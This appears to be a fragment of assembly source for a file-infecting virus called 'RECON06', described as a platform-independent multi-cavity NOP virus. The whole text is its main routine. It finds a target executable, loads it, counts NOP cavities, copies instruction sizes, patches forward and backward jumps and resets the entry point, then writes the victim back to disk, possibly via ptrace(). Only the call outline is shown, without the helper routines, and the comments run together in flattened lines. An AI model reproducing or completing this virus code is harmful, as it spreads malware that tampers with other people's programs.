RECON06 . A PLATFORM INDEPENDENT MULTI-CAVITY NOP VIRUS
# "main" # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # call find_target pushl %eax # A pointer to the pathname # of an executable on disk call load_victim call count_nops call copy_sizes # Copy the list of sizes # of instructions from the old # executable to the new call fix_fwd_jmps call fix_backwd_jmps # we also set the original entry # point push in fix_backwd_jmps # becaut it's convenient call unload_victim # write the data back to a file or # maybe even ptrace() # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #